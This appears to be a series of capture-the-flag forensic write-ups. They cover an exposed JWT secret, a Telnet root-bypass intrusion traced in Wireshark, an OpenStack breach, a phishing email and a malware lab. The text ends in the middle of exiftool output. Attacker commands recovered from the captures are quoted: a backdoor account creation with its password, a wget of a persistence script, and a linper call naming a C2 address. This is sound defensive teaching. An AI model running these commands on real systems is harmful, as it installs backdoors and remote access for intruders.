Initiating NSE at 13:19
Completed NSE at 13:19, 0.00s elapsed
Nmap scan report for 154-57-164-83.static.isp.htb.systems (154.57.164.83)
Host is up, received reset ttl 128 (0.028s latency).
Scanned at 2026-05-14 13:19:09 EDT for 17s

PORT      STATE SERVICE REASON          VERSION
30250/tcp open  http    syn-ack ttl 128 Node.js (Express middleware)
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: OpenSecret Helpdesk - Support Portal

NSE: Script Post-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 13:19
Completed NSE at 13:19, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 13:19
Completed NSE at 13:19, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 13:19
Completed NSE at 13:19, 0.00s elapsed
Read data files from: /usr/share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 18.39 seconds
           Raw packets sent: 6 (240B) | Rcvd: 3 (128B)

Navigating to the site, we see this

Given the description, I checked to see if there are any JWTs in storage already in the browser. I checked Cache Storage, Cookies, Indexed DB, Local Storage, and Session Storage, but nothing is there yet. Okay, I don’t see any other links, so I submitted the form with a name, email, and some pretend issue description words. Nothing fancy, no XSS attempts, etc. When I do, it tells me that no session token is provided.

Looking at the network call there, I just see this payload and these headers. No Cookies sent, and I don’t see an Auth Header.

{"name":"Bob Smith","description":"Blah blah blah.  All you ever do is say blah like things."}

Here is the response.

{"message":"No session token provided"}

So I need to see how this is being packaged up, so I take a look at the HTML source and … well, I guess the challenge is over. There is nothing really interesting in the HTML source until you get to the script tag at the end.

 <script>
    // JWT Secret Key
    const SECRET_KEY = "HTB{0p3n_s3cr3ts_ar3_n0t_s3cr3ts}";

    // Helper function to convert string to Base64URL
    function base64url(str) {
        return btoa(str)
            .replace(/\+/g, "-")
            .replace(/\//g, "_")
            .replace(/=/g, "");
    }

    // Generate a JWT session token for the user
    async function generateJWT() {
        // Check if user already has a token
        const existingToken = document.cookie
            .split("; ")
            .find((row) => row.startsWith("session_token="));

        if (existingToken) {
            console.log("Session token already exists");
            return;
        }

        // Create a random guest username
        const username = "guest_" + Math.floor(Math.random() * 10000);

        // JWT Header
        const header = { alg: "HS256", typ: "JWT" };

        // JWT Payload
        const payload = { username: username };

        // Encode header and payload
        const encodedHeader = base64url(JSON.stringify(header));
        const encodedPayload = base64url(JSON.stringify(payload));
        const data = encodedHeader + "." + encodedPayload;

        // Sign with SECRET_KEY using HMAC-SHA256
        const key = await crypto.subtle.importKey(
            "raw",
            new TextEncoder().encode(SECRET_KEY),
            { name: "HMAC", hash: "SHA-256" },
            false,
            ["sign"]
        );

        const signature = await crypto.subtle.sign(
            "HMAC",
            key,
            new TextEncoder().encode(data)
        );

        // Encode signature
        const encodedSignature = base64url(
            String.fromCharCode(...new Uint8Array(signature))
        );

        // Complete JWT token
        const token = data + "." + encodedSignature;

        // Store token in cookie
        document.cookie = `session_token=${token}; path=/; max-age=86400`;

        console.log("Generated session for:", username);
    }

    // Generate JWT token on page load
    generateJWT();

    // Handle ticket submission
    document
        .getElementById("submit-btn")
        .addEventListener("click", async (event) => {
            event.preventDefault();

            const name = document.getElementById("ticket-name").value;
            const description =
                document.getElementById("ticket-desc").value;

            const response = await fetch("/submit-ticket", {
                method: "POST",
                headers: {
                    "Content-Type": "application/json",
                },
                body: JSON.stringify({ name, description }),
            });

            const result = await response.json();
            document.getElementById("message-display").textContent =
                result.message || "Ticket submitted successfully!";
        });
</script>

Task 1 Answer: HTB{0p3n_s3cr3ts_ar3_n0t_s3cr3ts}

That’s all there was to it. We don’t actually have to use that code and that “key” to impersonate anyone, this was just an easy example of the dangers of storing secrets openly (OHHHH, the room name makes so much sense now )

If you have any questions, let me know!

You are a Junior DFIR Analyst at an MSSP that provides continuous monitoring and DFIR services to SMBs. Your supervisor has tasked you with analyzing network telemetry from a compromised backup server. A DLP solution flagged a possible data exfiltration attempt from this server. According to the IT team, this server wasn’t very busy and was sometimes used to store backups.

Okay. Let’s get started. Inside the zip is one network capture file, monitoringservice_export_202610AM-11AM.pcapng.

Task 1: What CVE is associated with the vulnerability exploited in the Telnet protocol?

First we’ll search to limit to just telnet traffic, since that’s what they are telling us to focus on. I just put telnet in the search bar and hit enter. These were my results.

Right click on that first packet (No. 47) and select Follow -> TCP Stream. You see this (I’m just showing the first few lines up until access is granted).

..%..&..... ..#..'..$
..%..&..&........ ..#..'..$
.. .....#.....'.........
.. .38400,38400....#.kali:0.0....'..USER.-f root.DISPLAY.kali:0.0......XTERM-256COLOR..
........"........!
........"..".....b........b....	B.
........
............................0.......!
..".....
.."....
..!............"..".............	..
........
.............
Linux 6.8.0-90-generic (backup-secondary) (pts/1)


........"
Welcome to Ubuntu 24.04.3 LTS (GNU/Linux 6.8.0-90-generic x86_64)

I’m curious about that 4th line, so I’m going to google part of that and see if that is indicative of the attack itself.

That shows us the answer in the AI overview as well as the top search result.

Task 1 Answer: CVE-2026-24061

Task 2: When was the Telnet vulnerability successfully exploited, granting the attacker remote root access on the target machine?

Currently (for me, anyway), my time is being displayed in relative time since packet capture started. If you go to View -> Time Display Format -> UTC Date and Time of Day, it will change and you can see the answer.

Task 2 Answer: 2026-01-27 10:39:28

Task 3: What is the hostname of the targeted server?

If we go back to that TCP stream that we followed starting at packet 47, we can see the entire convo. After access was granted, they were dropped a command prompt with their user and the host: root@backup-secondary.

Task 3 Answer: backup-secondary

Task 4: The attacker created a backdoor account to maintain future access. What username and password were set for that account?

Same stream, we can see the attacker issued these commands

sudo useradd -m -s /bin/bash cleanupsvc; echo "cleanupsvc:YouKnowWhoiam69" | sudo chpasswd

Task 4 Answer: cleanupsvc:YouKnowWhoiam69

Task 5: What was the full command the attacker used to download the persistence script?

This is really just becoming an exercise in how well we understand attacker actions. If we stay in the stream and see what the attacker is doing, we can easily see what they downloaded / how they downloaded it. There is some weird formatting because of the nature of typing and seeing responses and how long they may have delayed while typing, but here is the relevant part. Within the capture, red is what the user entered and blue is the response. That’s why you see it duplicated as they type.

w
w
g
g
e
e
t
t
 
 
.[200~https://raw.githubusercontent.com/montysecurity/linper/refs/heads/main/linper.sh.[201~

Task 5 Answer: wget https://raw.githubusercontent.com/montysecurity/linper/refs/heads/main/linper.sh

Task 6: The attacker installed remote access persistence using the persistence script. What is the C2 IP address?

Let’s keep scrolling in the stream and see what else they did. I looked around but nothing jumped out at me immediately. At this point, a lot of the commands were vertical with the repeated characters (one from the input, one from the output) and I wasn’t seeing it. So I looked into that script that we saw being run from here. Inside that script, we see this:

EXAMPLES="Examples:

\e[33mPrint\e[0m Commands that can be used to install persistence (assumes -d): bash linper.sh -i 192.168.1.2 -p 4444 --print 

So we are looking for this script to be called with a -i and then the address. Looking for that, I found this part:

bash linper.sh --enum-defenses
.
..[K
.
..[K
.
..[K
.
..[K
.
..[K
.
..[K
.
..[K
.
..[K
.
..[K
.
..[K
.
..[K
.
..[K
.
..[K
.
..[K
i
i
 
 
.[200~91.99.25.54.[201~
.[7m91.99.25.54.[27m
.[C
............91.99.25.54
 
 
-
-
p
p
 
 
5
5
9
9

You can see that the command bash linper.sh –enum-defenses -i 91.99.25.54 -p 5599 was called and that gives us our answer.

Task 6 Answer: 91.99.25.54

Task 7: The attacker exfiltrated a sensitive database file. At what time was this file exfiltrated?

As we’ve been getting familiar with this interaction, I’ve read over this stream several times and by this point, I remember seeing this file named credit-cards-25-blackfriday.db being referenced. If you go File -> Export Objects -> HTTP from the Wireshark menu, you see this

We can see that it was exported in packet 9380. If I click that row it takes me to the packet (if you still have the stream filter on, it will take you to 9378 instead… they have the same timestamp to the second, though). I can see the date under the Time column.

Task 7 Answer: 2026-01-27 10:49:54

Task 8: Analyze the exfiltrated database. To follow compliance requirements, the breached organization needs to notify its customers. For data validation purposes, find the credit card number for a customer named Quinn Harris.

Okay, we left the objects to see the timestamp on the packet. Go back in File -> Export Objects -> HTTP, click the db row and click Save at the bottom. Choose somewhere to save it and let’s analyze it.

$ file credit-cards-25-blackfriday.db 
credit-cards-25-blackfriday.db: SQLite 3.x database, last written using SQLite version 3046001, file counter 7, database pages 3, cookie 0x7, schema 4, UTF-8, version-valid-for 7

We can see that it is SQLite, so let’s look further. There only seems to be one table and the only identifier seems to be email. So, I check at first to see if any email has quinn in the name and we find one row and that gives us the answer.

$ sqlite3 credit-cards-25-blackfriday.db
SQLite version 3.46.1 2024-08-13 09:16:08
Enter ".help" for usage hints.
sqlite> .tables
purchases
sqlite> .schema
CREATE TABLE purchases (
  id INTEGER PRIMARY KEY AUTOINCREMENT,
  email TEXT NOT NULL,
  creditcardnumber INTEGER NOT NULL,
  purchase_date TEXT NOT NULL,   -- ISO date: YYYY-MM-DD
  item_purchased TEXT NOT NULL
);
CREATE TABLE sqlite_sequence(name,seq);
sqlite> select * from purchases where email like '%quinn%';
12|quinn.harris@hotmail.com|5312269047781209|2025-12-08|4K monitor

Task 8 Answer: 5312269047781209

And that’s it, we win. That was actually a pretty fun investigation. Let me know if you have any comments or rooms you’d like to see tackled.

A small company moved some of its resources to a private cloud installation. The developers left the redirect to the dashboard on their web server. The security team got an email from the alleged attacker stating that the user data was leaked. It is up to you to investigate the situation.

Let’s dig in. I will say that I might not always take the best, most efficient way to find these answers, but I will find them honestly and in a way that hopefully you can repeat. There are some questions when the answer could be found by a little brute force earlier in the process, but I wanted to try to have a methodology that would work in situations where brute force may not be practical (like real life situations).

Task 1: What tool did the attacker use to fuzz the web server ? (Format- include version e.g, nmap@7.80)

Because this question is asking about fuzzing a web server, I started by opening the web-server.2025-07-01.pcap file in Wireshark. To fuzzing, we only care about http traffic. So in the search bar in Wireshark, I just typed http and hit enter. This returned 7482 of the 21650 total packets.

We can see a lot of requests and responses back to back. If we go in the menu to Statistics -> Conversations -> TCP and check the IPv4 tab (there is nothing in IPv6), we see a TON of this traffic is coming from 117.200.21.26 and going to 157.230.81.229.

Next, I applied a filter of http && ip.src == 117.200.21.26 to see what that person is doing. But we need the user agent. You can dig through the packets and find what you want and Right Click -> Apply as Column and you’ll see that value for every request in the table. But this is what I’m REALLY bad at. I know the general makeup for network requests on the wire, but sometimes some things are hard to find. Here’s an easy way to do the same thing. Right Click in the Header of the results and choose Column Preferences.

Then click the Plus sign to add your custom column

A new column will appear titled “New Column” of type “Custom”. If you double click in each cell, you can edit. Change your values to this and click Apply and OK.

This shows you the answer. You can kind of skim down and see the same value over and over again of Fuzz Faster U Fool v2.1.0-dev. The answer wants something with a mask of ****@*.*.*. I happen to know that the popular fuzzing tool ffuf stands for “Fuzz Faster U Fool” (check out my post I did on ffuf for my Core Tools You Should Know series). Using the abbreviation seems to meet that criteria and trying it completes the task.

Task 1 Answer: ffuf@2.1.0

Task 2: Which subdomain did the attacker discover?

For this one, we already know that ffuf was being used to fuzz things. What we care about were times when it returned 200 OK or maybe even a redirect and not 404 Not Found. When I do that (using the IP we discovered above as the destination) with a filter like this

ip.dst  == 117.200.21.26 &&  _ws.col.info == "HTTP/1.1 200 OK  (text/html)"

I get a bunch of results. Most of them have a length of 596.

Let’s look for ones that don’t have that length.

ip.dst  == 117.200.21.26 &&  _ws.col.info == "HTTP/1.1 200 OK  (text/html)" && frame.len != 596

That only gives me 12 and glancing at the first few, they all are hits to http://cloud.vantage.tech and then other paths. So, there we go.

Task 2 Answer: cloud

Task 3: How many login attempts did the attacker make before successfully logging in to the dashboard?

Okay. First, what is the login URL? We’d know already if this was truly ours, but looking at one of the 12 responses, I see a request to http://cloud.vantage.tech/dashboard/auth/login/. So there we go. Let’s dig in there.

ip.dst  == 117.200.21.26 &&  http.request.uri == "/dashboard/auth/login/"

That attacker hitting that URI happened 4 times. 3 of them returned 200 OK and one returned 302 Found. The 302 is the redirect to let them in. That means they failed 3 times.

Task 3 Answer: 3

Task 4: When did the attacker download the OpenStack API remote access config file? (UTC)
So, step one, what even is that? What I do know is that a file was downloaded. If we use Wireshark and choose File -> Export Objects -> HTTP, we get a list of objects in the capture. Since this is a file and not a small HTML file, I clicked the Size header to sort by size descending.

I scrolled down a little and there are 2 packets that are 1941 bytes each that have a filename of openrc. They are packets 21256 and 21260. Looking at those 2 packets, 20707 went from 10.116.0.4 to 10.116.0.3. 20711 went from 157.230.81.229 to our guy at 117.200.21.26. They also have the same timestamp on them, so we win either way. I’m just showing the relevant part under Hypertext Transfer Protocol

Hypertext Transfer Protocol, has 3 chunks (including last chunk)
    HTTP/1.1 200 OK\r\n
        Response Version: HTTP/1.1
        Status Code: 200
        [Status Code Description: OK]
        Response Phrase: OK
    Date: Tue, 01 Jul 2025 09:40:29 GMT\r\n
    Server: Apache/2.4.58 (Ubuntu)\r\n
    Content-Disposition: attachment; filename="admin-openrc.sh"\r\n

Task 4 Answer: 2025-07-01 09:40:29

Task 5: When did the attacker first interact with the API on controller node? (UTC)
Okay, now we switch to opening the controller.2025-07-01.pcap file. I added this filter and found the first HTTP request.

ip.src==117.200.21.26 && http

Within the Frame, we have this and it gives us the answer.

Frame 8490: Packet, 293 bytes on wire (2344 bits), 293 bytes captured (2344 bits)
    Encapsulation type: Linux cooked-mode capture v2 (210)
    Arrival Time: Jul  1, 2025 05:41:44.667723000 EDT
    UTC Arrival Time: Jul  1, 2025 09:41:44.667723000 UTC
    Epoch Arrival Time: 1751362904.667723000

Task 5 Answer: 2025-07-01 09:41:44

Task 6: What is the project id of the default project accessed by the attacker?
This is another one where if people from our company were doing the forensics, we’d already know how to look. But you and I are guessing, so I made an assumption that the URL would have project in it and did this filter

ip.src==117.200.21.26 && http.request.uri contains "project"

That gives me only 5 requests and one looks super obvious. If I right-click on that one and choose Follow -> HTTP Stream we get this, which contains our answer.

GET /identity/v3/projects?domain_id=default&name=admin HTTP/1.1
Host: 134.209.71.220
User-Agent: openstacksdk/4.6.0 keystoneauth1/5.11.1 python-requests/2.32.4 CPython/3.13.5
Accept-Encoding: gzip, deflate
Accept: application/json
Connection: keep-alive
X-Auth-Token: gAAAAABoY67QSl3AarKC9p_FCUhm-zdlkNPcgfqpHncXtnKqPhHgH79XnHa-4IrDf4WlL8QpLiKIQOE8C4kq3Tv21nkTpzMAuGXwLZkEeexqQlLfUtyrhmGjKsFvflRlIEZb0A-1oQZLVzdk1021QkPqjVjFonIEIEBgH0oZll7xE2hp7Scnm2o


HTTP/1.1 200 OK
Date: Tue, 01 Jul 2025 09:48:01 GMT
Server: Apache/2.4.58 (Ubuntu)
Content-Type: application/json
Content-Length: 476
Vary: X-Auth-Token
x-openstack-request-id: req-14b6f50c-12f4-48f9-be96-898430e4fe66
Connection: close

{"projects": [{"id": "9fb84977ff7c4a0baf0d5dbb57e235c7", "name": "admin", "domain_id": "default", "description": "Bootstrap project for initializing the cloud.", "enabled": true, "parent_id": "default", "is_domain": false, "tags": [], "options": {}, "links": {"self": "http://134.209.71.220/identity/v3/projects/9fb84977ff7c4a0baf0d5dbb57e235c7"}}], "links": {"next": null, "self": "http://134.209.71.220/identity/v3/projects?domain_id=default&name=admin", "previous": null}}

Task 6 Answer: 9fb84977ff7c4a0baf0d5dbb57e235c7

Task 7: Which OpenStack service provides authentication and authorization for the OpenStack API?
I literally just Googled the question. The answer came right up.

Task 7 Answer: keystone

Task 8: What is the endpoint URL of the swift service?
I have no idea what this is either. This is another thing that if you worked for a company (or were even doing an investigation for a company that contracted you), you would have intel on this kind of thing. As it is, I googled it, the AI overview included this

Structure: http://:8080/v1/AUTH_

Okay, so I went into Statistics -> Http -> Requests. I scanned down until I found the part hitting port 8080 with a /V1/Auth pattern and bingo.

Task 8 Answer: http://134.209.71.220:8080/v1/AUTH_9fb84977ff7c4a0baf0d5dbb57e235c7

Task 9: How many containers were discovered by the attacker?
So I did a filter of http.request.uri == “/v1/AUTH_9fb84977ff7c4a0baf0d5dbb57e235c7?format=json”. This gave me 2 results. I right clicked on the first one and chose Follow -> HTTP Stream. I can see that the response back was

[{"name": "dev-files", "count": 0, "bytes": 0, "last_modified": "2025-07-01T04:22:36.008860", "storage_policy": "Policy-0"}, {"name": "employee-data", "count": 0, "bytes": 0, "last_modified": "2025-07-01T04:22:28.334080", "storage_policy": "Policy-0"}, {"name": "user-data", "count": 0, "bytes": 0, "last_modified": "2025-07-01T04:22:07.707130", "storage_policy": "Policy-0"}]

That represents 3 containers: dev-files, employee-data, and user-data.

Task 9 Answer: 3

Task 10: When did the attacker download the sensitive user data file? (UTC)
If we look at the statistics again, we see a download of user-details.csv. If I put the filter to http.request.uri == “/v1/AUTH_9fb84977ff7c4a0baf0d5dbb57e235c7/user-data/user-details.csv” and right click and chose Follow -> HTTP Stream, you can see the time.

HTTP/1.1 200 OK
Content-Type: text/csv
Etag: 2197a57085557424cefc95f85efb7499
Last-Modified: Tue, 01 Jul 2025 04:31:31 GMT
X-Timestamp: 1751344290.17360
Accept-Ranges: bytes
Content-Length: 1367
X-Trans-Id: tx89c3d915d2c64b1c8cda1-006863ae33
X-Openstack-Request-Id: tx89c3d915d2c64b1c8cda1-006863ae33
Date: Tue, 01 Jul 2025 09:45:23 GMT
Connection: keep-alive

Task 10 Answer: 2025-07-01 09:45:23

Task 11: How many user records are in the sensitive user data file?
Same request, same stream window I have up from Task 10. You can see the response has this file’s contents and I count 28 records.

Full Name,Email,Phone Number
John Doe,john.doe@example.com,(123) 456-7890
Jane Smith,jane.smith@example.com,(234) 567-8901
Alice Johnson,a.johnson@example.com,(345) 678-9012
Bob Brown,b.brown@example.com,(456) 789-0123
Charlie Davis,c.davis@example.com,(567) 890-1234
Diana Wilson,d.wilson@example.com,(678) 901-2345
Ethan Moore,e.moore@example.com,(789) 012-3456
Fiona Taylor,f.taylor@example.com,(890) 123-4567
George Wilson,g.wilson@example.com,(901) 234-5678
Helen Adams,h.adams@example.com,(012) 345-6789
Ian Lee,i.lee@example.com,(123) 456-7890
Julia Smith,j.smith@example.com,(234) 567-8901
Kevin Miller,k.miller@example.com,(345) 678-9012
Laura Evans,l.evans@example.com,(456) 789-0123
Michael Thomas,m.thomas@example.com,(567) 890-1234
Natalie Wilson,n.wilson@example.com,(678) 901-2345
Oliver Johnson,o.johnson@example.com,(789) 012-3456
Penny Davis,p.davis@example.com,(890) 123-4567
Quinn Lee,q.lee@example.com,(901) 234-5678
Rachel Moore,r.moore@example.com,(012) 345-6789
Simon Evans,s.evans@example.com,(123) 456-7890
Tara Wilson,t.wilson@example.com,(234) 567-8901
Uma Johnson,u.johnson@example.com,(345) 678-9012
Vivian Lee,v.lee@example.com,(456) 789-0123
William Thomas,w.thomas@example.com,(567) 890-1234
Xander Wilson,x.wilson@example.com,(678) 901-2345
Yara Johnson,y.johnson@example.com,(789) 012-3456
Zoe Lee,z.lee@example.com,(890) 123-4567

Task 11 Answer: 28

Task 12: For persistence, the attacker created a new user with admin privileges. What is the username of the new user?
For this one, I went back to the statistics with all of the URLs and made some assumptions. This API seems fairly well-designed in a “discoverable” sense. That means I expect a user will be created by issuing a POST to a URL that has user or users in it. Glancing in my list, I see /identity/v3/users, so I changed my filter to http.request.uri == “/identity/v3/users” to see what we get.

Here we can see a POST and a response of 201-CREATED. That seems promising. If we right click and Follow -> HTTP Stream on the post request, we get this with our user’s name.

POST /identity/v3/users HTTP/1.1
Host: 134.209.71.220
User-Agent: openstacksdk/4.6.0 keystoneauth1/5.11.1 python-requests/2.32.4 CPython/3.13.5
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
X-Auth-Token: gAAAAABoY67QSl3AarKC9p_FCUhm-zdlkNPcgfqpHncXtnKqPhHgH79XnHa-4IrDf4WlL8QpLiKIQOE8C4kq3Tv21nkTpzMAuGXwLZkEeexqQlLfUtyrhmGjKsFvflRlIEZb0A-1oQZLVzdk1021QkPqjVjFonIEIEBgH0oZll7xE2hp7Scnm2o
Content-Type: application/json
Content-Length: 130

{"user": {"password": "P@$$word", "enabled": true, "default_project_id": "9fb84977ff7c4a0baf0d5dbb57e235c7", "name": "jellibean"}}
HTTP/1.1 201 CREATED
Date: Tue, 01 Jul 2025 09:48:02 GMT
Server: Apache/2.4.58 (Ubuntu)
Content-Type: application/json
Content-Length: 312
Vary: X-Auth-Token
x-openstack-request-id: req-70234e40-c6b0-4192-b478-e5cd3732d419
Connection: close

{"user": {"id": "c373da67a62b48f393c45dc071fa80b8", "name": "jellibean", "domain_id": "default", "enabled": true, "default_project_id": "9fb84977ff7c4a0baf0d5dbb57e235c7", "password_expires_at": null, "options": {}, "links": {"self": "http://134.209.71.220/identity/v3/users/c373da67a62b48f393c45dc071fa80b8"}}}

Task 12 Answer: jellibean

Task 13: What is the password of the new user?
Looking at the results in Task 12, we can see the password they set.

Task 13 Answer: P@$$word

Task 14: What is MITRE tactic id of the technique in task 12?
Okay. This isn’t in the files at all and just requires some research. What did Task 12 ask us? It was about creating an account for user persistence (rather than trusting credentials you cracked / uncovered, or leaving a command and control mechanism, etc). Let’s google that. I found out that that is T1136, but the answer wants a sub-technique.

This was a Cloud Account (it wasn’t local to a machine, nor was it on a domain, so this is the most obvious choice), so that makes our answer clear.

Task 14 Answer: T1136.003

And that’s it. This is one of the longest of these that I’ve done. There was a lot of explanations and steps and documentation, but hopefully you all stuck around and I made enough sense to follow along.

So there we have it. To start off, we download the .zip file attached to the lab and unzip it using the provided password hacktheblue. Inside, we find one file called email.eml.

Task 1: What is the originating IP address of the sender?

To start off and answer a few of these questions, we can just open the .eml file in plain text viewer of our choice. The answer to this one is right near the top. These headers both agree, so this is definitely the answer.

X-Originating-IP: [45.67.89.10]
...
X-Sender-IP: 45.67.89.10

Task 1 Answer: 45.67.89.10

Task 2: Which mail server relayed this email before reaching the victim?

Looking at the headers again, we see the following. The last server to touch it was mail.business-finance.com. HTB didn’t want that, but the IP instead.

Received: from mail.business-finance.com ([203.0.113.25])
	by mail.target.com (Postfix) with ESMTP id ABC123;
	Mon, 26 Feb 2025 10:15:00 +0000 (UTC)
Received: from relay.business-finance.com ([198.51.100.45])
	by mail.business-finance.com with ESMTP id DEF456;
	Mon, 26 Feb 2025 10:10:00 +0000 (UTC)
Received: from finance@business-finance.com ([198.51.100.75])
	by relay.business-finance.com with ESMTP id GHI789;
	Mon, 26 Feb 2025 10:05:00 +0000 (UTC)

Task 2 Answer: 203.0.113.25

Task 3: What is the sender’s email address?

I wasn’t sure if this was a trick or not, but nothing here appears too crazy and these items all agree, so this is definitely the answer.

Return-Path: <finance@business-finance.com>
...
X-Envelope-From: finance@business-finance.com
...
From: "Finance Dept" <finance@business-finance.com>

Task 3 Answer: finance@business-finance.com

Task 4: What is the ‘Reply-To’ email address specified in the email?

This is at the top (second line). This might seem shady at first, but it is pretty common for emails to be sent from one mailbox that’s unmonitored and to have replies directed to a monitored box.

Reply-To: <support@business-finance.com>

Task 4 Answer: support@business-finance.com

Task 5: What is the SPF (Sender Policy Framework) result for this email?

Headers again.

Received-SPF: Pass (protection.outlook.com: domain of business-finance.com designates 45.67.89.10 as permitted sender)

Task 5 Answer: Pass

Task 6: What is the domain used in the phishing URL inside the email?

Reading the email, we find a link coded as follows:

<a href="https://secure.business-finance.com/invoice/details/view/INV2025-0987/payment">Download Invoice</a>

Task 6 Answer: secure.business-finance.com

Task 7: What is the fake company name used in the email?

Check and see how the rogues signed their email.

<p>Best regards,<br>Finance Department<br>Business Finance Ltd.</p>

Task 7 Answer: Business Finance Ltd.

Task 8: What is the name of the attachment included in the email?

Down at the very bottom, under where it starts --boundary123

Content-Type: application/zip; name="Invoice_2025_Payment.zip"

Content-Disposition: attachment; filename="Invoice_2025_Payment.zip"

Task 8 Answer: Invoice_2025_Payment.zip

Task 9: What is the SHA-256 hash of the attachment?

There are probably a lot of ways to do this. In this case, I’m using ripmime (sudo apt install ripmime)

$ ripmime -i email.eml 
$ ls
email.eml  Invoice_2025_Payment.zip  textfile0  textfile1
$ sha256sum Invoice_2025_Payment.zip 
8379c41239e9af845b2ab6c27a7509ae8804d7d73e455c800a551b22ba25bb4a  Invoice_2025_Payment.zip

Task 9 Answer: 8379c41239e9af845b2ab6c27a7509ae8804d7d73e455c800a551b22ba25bb4a

Task 10: What is the filename of the malicious file contained within the ZIP attachment?

When I try to use unzip to unzip this, I get an error. When I use 7Zip, it yells at me, but extracts a file, giving us the answer.

$ unzip Invoice_2025_Payment.zip 
Archive:  Invoice_2025_Payment.zip
  End-of-central-directory signature not found.  Either this file is not
  a zipfile, or it constitutes one disk of a multi-part archive.  In the
  latter case the central directory and zipfile comment will be found on
  the last disk(s) of this archive.
unzip:  cannot find zipfile directory in one of Invoice_2025_Payment.zip or
        Invoice_2025_Payment.zip.zip, and cannot find Invoice_2025_Payment.zip.ZIP, period. 

$ 7z x Invoice_2025_Payment.zip 

7-Zip 25.01 (x64) : Copyright (c) 1999-2025 Igor Pavlov : 2025-08-03
 64-bit locale=en_US.UTF-8 Threads:128 OPEN_MAX:1024, ASM

Scanning the drive for archives:
1 file, 75 bytes (1 KiB)

Extracting archive: Invoice_2025_Payment.zip

ERRORS:
Unexpected end of archive

--
Path = Invoice_2025_Payment.zip
Type = zip
ERRORS:
Unexpected end of archive
Physical Size = 75
Characteristics = Local

ERROR: Data Error : invoice_document.pdf.bat
                               
Sub items Errors: 1

Archives with Errors: 1

Open Errors: 1

Sub items Errors: 1        

Doing a little research, I also apparently could have used exiftool and found the information like this

$ exiftool Invoice_2025_Payment.zip 
ExifTool Version Number         : 13.44
File Name                       : Invoice_2025_Payment.zip
Directory                       : .
File Size                       : 75 bytes
File Modification Date/Time     : 2026:02:11 15:52:58-05:00
File Access Date/Time           : 2026:02:11 15:52:58-05:00
File Inode Change Date/Time     : 2026:02:11 15:52:58-05:00
File Permissions                : -rw-------
Warning                         : Format error reading ZIP file
File Type                       : ZIP
File Type Extension             : zip
MIME Type                       : application/zip
Zip Required Version            : 20
Zip Bit Flag                    : 0
Zip Compression                 : Deflated
Zip Modify Date                 : 2025:02:26 15:56:48
Zip CRC                         : 0x2a8e3d17
Zip Compressed Size             : 1249907
Zip Uncompressed Size           : 1690811
Zip File Name                   : invoice_document.pdf.bat

Task 10 Answer: invoice_document.pdf.bat

Task 11: Which MITRE ATT&CK techniques are associated with this attack?

So this information isn’t located in the file. I also searched our SHA256 on VirusTotal and there were a ton of MITRE ATT&CK techniques associated with the file, so I had to think broader. What kind of attack is this? This is a phishing attack. Specifically, it seems like a targeted phishing attack making it likely spearphishing. However, it doesn’t qualify as whaling because this isn’t a single high-value individual being targeted. When we look up Phishing on the MITRE ATT&CK pages, we see this category and sub-categories.

Given that this was phishing with an attachment, I tried T1566.001 and that is what they wanted.

Task 11 Answer: T1566.001

We need to download the .zip file and unzip it using the password of hacktheblue. Inside the .zip file is another zip file. When you attempt to unzip it, a text file comes out, but then you are prompted for more passwords to get the other files. The text file says this:

Dear User,

This text file is to warn you that the ZIP file contains software that is going to interact with your computer and files. This software has been intentionally included for educational purposes and is NOT intended to be executed or used otherwise. Always handle such files in isolated, controlled, and secure environments.

It is strongly recommend you proceed by:

1 - Running the sample in a controlled environment, for example EP Pwnbox or an isolated virtual machine.
2 - Only unzip the software in this controlled environment, using the password provided.
3 - Unzip the file in the VM and enjoy analysing!

PLEASE EXERCISE EXTREME CAUTION!

The ZIP file containing the software is password-protected for your safety. The password is "Dvn62WlNrt09". It is strongly recommended that you do NOT extract or execute the contents of this ZIP file unless you understand the risks involved.

By reading this file and using the provided password to unzip the file, you acknowledge and fully understand the risks as detailed in this warning.

Being very duly warned, we’ll move on.

Task 1: According to MITRE ATT&CK, what previously known malware does DRATzarus share similarities with?

If we search for DRATzarus on the MITRE ATT&CK site, we land on the page here. The page opens with “DRATzarus is a remote access tool (RAT) that has been used by Lazarus Group to target the defense and aerospace organizations globally since at least summer 2020. DRATzarus shares similarities with Bankshot, which was used by Lazarus Group in 2017 to target the Turkish financial sector.”

Task 1 Answer: Bankshot

Task 2: Which Windows API function does DRATzarus use to detect the presence of a debugger?

On the same page, under Enterprise -> Debugger Evasion, it says “DRATzarus can use IsDebuggerPresent to detect whether a debugger is present on a victim”

Task 2 Answer: IsDebuggerPresent

Task 3: Torisma is another piece of malware used by the Lazarus Group. According to MITRE, it has encrypted its C2 communications using XOR and which other method?

Looking up Torisma on the MITRE site, we land here. Under the section Enterprise -> Encrypted Channel: Symmetric Cryptography, it says “Torisma has encrypted its C2 communications using XOR and VEST-32“.

Task 3 Answer: VEST-32

Task 4: Which packing method has been used to obfuscate Torisma?

Same page as Task 3, under Enterprise -> Obfuscated Files or Information: Software Packing, it says “Torisma has been packed with lz4 compression“.

Task 4 Answer: lz4 compression

Task 5: Analyze the provided ISO file and identify the executable contained within it?

So this requires us to delve in to the “dangerous” part of that zip file. I’m doing this on a Kali snapshot that I have for this task. I ran these commands to mount the .iso and see its contents.

$ sudo mkdir -p /mnt/bae                  
[sudo] password for kali: 
                                                                             
$ sudo mount -o loop BAE_HPC_SE.iso /mnt/bae
mount: /mnt/bae: WARNING: source write-protected, mounted read-only.
                                                                             
$ ls /mnt/bae                 
BAE_HPC_SE.pdf  InternalViewer.exe

Task 5 Answer: InternalViewer.exe

Task 6: The executable found in the previous question was renamed. Can you identify its original name?

This only works if the metadata is kept on the file. I can use exiftool to read that metadata and get our answer.

$ exiftool /mnt/bae/InternalViewer.exe 
ExifTool Version Number         : 13.36
File Name                       : InternalViewer.exe
Directory                       : /mnt/bae
File Size                       : 11 MB
File Modification Date/Time     : 2020:06:05 03:00:44-04:00
File Access Date/Time           : 2020:06:05 03:00:44-04:00
File Inode Change Date/Time     : 2020:06:05 03:00:44-04:00
File Permissions                : -r-xr-xr-x
File Type                       : Win64 EXE
File Type Extension             : exe
MIME Type                       : application/octet-stream
Machine Type                    : AMD AMD64
